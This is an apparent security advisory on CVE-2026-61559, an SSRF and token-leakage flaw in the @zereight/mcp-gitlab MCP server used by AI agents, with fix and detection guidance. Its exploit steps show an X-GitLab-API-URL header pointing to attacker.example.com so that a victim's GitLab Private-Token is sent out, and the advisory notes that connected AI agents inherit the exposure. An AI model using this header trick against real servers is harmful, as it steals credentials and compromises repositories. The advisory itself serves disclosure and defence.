Executive Summary
A critical server-side request forgery and token leakage vulnerability (CVE-2026-61559) has been disclosed in @zereight/mcp-gitlab, the most widely used community Model Context Protocol (MCP) server bridging AI agents like Claude, Cursor, and GitHub Copilot to GitLab. The package ships on npm with 200,000+ downloads and backs a repo with 1.8K+ GitHub stars. Researchers at Pluto Security found that, under a common configuration, any caller able to reach the server's HTTP transport can hijack its outbound GitLab API calls and exfiltrate a victim's Private-Token to an attacker-controlled host.
CVSS Score: Critical (see companion advisory CVE-2026-61568 for the related DNS rebinding flaw in the same package)
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-61559 |
| Severity | Critical |
| Type | Server-Side Request Forgery (SSRF) + Token Leakage |
| Component | @zereight/mcp-gitlab (gitlab-mcp) |
| Trigger Condition | ENABLE_DYNAMIC_API_URL=true environment variable set |
| Attack Vector | Network (HTTP transport reachable by the caller) |
| Privileges Required | None beyond reaching the MCP HTTP endpoint |
Affected Versions
| Package | Affected Versions | Fixed Version |
|---|---|---|
@zereight/mcp-gitlab | 0.0.1 – 2.1.26 | 2.1.27 |
How the Exploit Works
When ENABLE_DYNAMIC_API_URL=true is set, the MCP server reads a client-supplied X-GitLab-API-URL HTTP header and uses it as the base URL for every subsequent outbound GitLab API request — validating only that the value is a well-formed URL, with no allowlist or hostname restriction. The server then attaches the victim's stored Private-Token to any request routed through that attacker-supplied base URL.
1. Attacker identifies an MCP-GitLab instance reachable over HTTP with dynamic API URL enabled
2. Attacker sets X-GitLab-API-URL: https://attacker.example.com in a request to the server
3. The server's next outbound "GitLab API" call goes to attacker.example.com instead
4. The victim's Private-Token is attached to that request and lands on the attacker's server
5. Attacker now holds a valid GitLab personal access/project token for the victim accountImpact of Successful Exploitation
| Impact | Description |
|---|---|
| Credential Theft | Full GitLab Private-Token exfiltrated to attacker infrastructure |
| Repository Compromise | Token reuse to read/write private repos, pipelines, and secrets |
| AI Agent Hijack | Any agent connected to the compromised MCP server inherits the exposure |
| Supply Chain Risk | 200K+ downloads means a broad population of AI-tooling users are exposed |
Remediation
Step 1: Update the Package
npm install @zereight/mcp-gitlab@latest
# Confirm version 2.1.27 or later
npx @zereight/mcp-gitlab --versionStep 2: Review Configuration
- Do not enable
ENABLE_DYNAMIC_API_URLunless it's strictly required. - If it must be enabled, restrict outbound requests to an explicit GitLab host allowlist at the network layer (egress firewall rules).
- Rotate any GitLab tokens the MCP server has held, on the assumption they may already be exposed.
Step 3: Also Patch CVE-2026-61568
Version 2.1.27 does not cover the related DNS-rebinding flaw in the same package — upgrade to 2.1.30 to close both issues. See CVE-2026-61568 for details.
Detection Indicators
| Indicator | Description |
|---|---|
| Outbound requests to unfamiliar hosts from the MCP server process | Possible SSRF exploitation in progress |
X-GitLab-API-URL headers in inbound request logs pointing off GitLab's domain | Exploitation attempt |
| Unexpected GitLab API activity from unfamiliar IPs | Sign of a leaked token being reused |
References
- Pluto Security — One Request to Own Every Repo: How We Hijacked GitLab Through Its MCP Server
- CVEReports — CVE-2026-61559
- NIST NVD — CVE-2026-61559